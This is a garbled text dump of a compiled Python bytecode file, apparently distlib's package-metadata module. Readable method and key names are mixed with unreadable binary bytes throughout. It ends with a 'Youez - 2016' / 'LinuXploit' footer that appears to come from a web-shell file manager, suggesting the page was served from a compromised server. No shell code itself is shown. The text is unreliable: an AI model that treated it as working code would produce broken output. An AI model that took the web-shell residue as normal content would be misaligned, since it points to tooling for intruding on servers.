dictionary�szMetadata.dictionarycCs|jrt�nt|j|j�SdSr�)r�rrr��DEPENDENCY_KEYSr�rrr�dependencies�szMetadata.dependenciescCs|jrt�n|j�|�dSr�)r�rr�r�r�rrrr/�sc	Cs�|�d�|jkrt��g}|j��D]"\}}||kr$||kr$|�|�q$|rbdd�|�}t|��|��D]\}}|�|||�qjdS)Nr_zMissing metadata items: %sr�)	r�r�r�MANDATORY_KEYSrPrQr�rr)	r�r�r�r�r\rr�r�r�rrrr��szMetadata._validate_mappingcCsB|jr.|j�d�\}}|s|r>t�d||�n|�|j|j�dS)NTz#Metadata: missing: %s, warnings: %s)r�r�rSr�r�r�r�)r�r�r�rrrr��s�zMetadata.validatecCs(|jr|j�d�St|j|j�}|SdSr")r�r�rr��
INDEX_KEYS)r�rrrrr��szMetadata.todictc
Cs�|jr|jrt�|j|jd�}|j�d�}dD]*}||kr.|dkrHd}n|}||||<q.|�dg�}|dgkrtg}||d<d	}|D]*\}}||kr�||r�d
||ig||<q�|j|d<i}i}	|S)Nr�T)r`rIrjrbrcrkrkr�r&�rd))ror)rprrsrt)r�r��AssertionErrorr�r�r�r�rt)
r�rZlmdr��nk�kwrK�okrfrhrrrr,�s.�

zMetadata._from_legacyr!r"r*r$r%)r`rIrjrbrcr�cCs�dd�}|jr|jrt�t�}|j}|j��D]\}}||kr.||||<q.||j|j�}||j|j	�}|j
r�t|j
�|d<t|�|d<t|�|d<|S)NcSs�t�}|D]|}|�d�}|�d�}|d}|D]V}|sF|sF|�|�q.d}|rVd|}|rp|rld||f}n|}|�d�||f��q.q
|S)Nr%r&rsr2z
extra == "%s"z(%s) and %sr�)r�r��addr�)�entriesr*r+r%r'Zrlistr�rMrrr�process_entries�s"

z,Metadata._to_legacy.<locals>.process_entriesr=r6r;)r�r�r3r�LEGACY_MAPPINGrPrrrrr�sorted)r�r9rZnmdr4r6Zr1Zr2rrr�
_to_legacy�szMetadata._to_legacyFTc	Cs�||g�d�dkrtd��|��|r`|jr4|j}n|��}|rP|j||d�q�|j||d�n^|jrp|��}n|j}|r�t	j
||dddd�n.t�|dd��}t	j
||dddd�W5QRXdS)	Nrz)Exactly one of path and fileobj is needed)r�Tr�)Zensure_ascii�indentZ	sort_keysr�r)
r�r�r�r�r<r�r�r,r�r��dumpr�r�)r�r�r�r�r�Z	legacy_mdrrrrrr�s*
��zMetadata.writecCs�|jr|j�|�nr|j�dg�}d}|D]}d|kr*d|kr*|}qHq*|dkrfd|i}|�d|�n t|d�t|�B}t|�|d<dS)Nrr&r%rsr)r�r�r�r �insertr�r;)r�r�r�always�entryZrsetrrrr�3szMetadata.add_requirementscCs*|jpd}|jpd}d|jj|j||fS)Nz	(no name)z
no versionz<%s %s %s (%s)>)r`rIr�rr_)r�r`rIrrrr�Ds

�zMetadata.__repr__)NNNr�)N)NN)NNFT)/rrrr�re�compileZMETADATA_VERSION_MATCHER�IZNAME_MATCHERrZVERSION_MATCHERZSUMMARY_MATCHERr�rr�r0r1r.r�	__slots__r�r�r
r�Z	none_list�dictZ	none_dictrrrr!�propertyr#rt�setterr)r-r/r�r�r�r,r:r<r�r�r�rrrrr�s�

���
-�+

'




*


	�	%
)F)ErZ
__future__rr�Zemailrr�r�rBr2rr�compatrrr	rLr
�utilrrrIr
rZ	getLoggerrrSrrrr�__all__rrrCr�r�rDrErVrFrWrHrYrGrXr�r�r�ZEXTRA_RErJr^r�r�r�r�r�r�r�r�rr�r{r~rZMETADATA_FILENAMEZWHEEL_METADATA_FILENAMEZLEGACY_METADATA_FILENAMErrrrr�<module>s�










H�!





Youez - 2016 - github.com/yon3zu
LinuXploit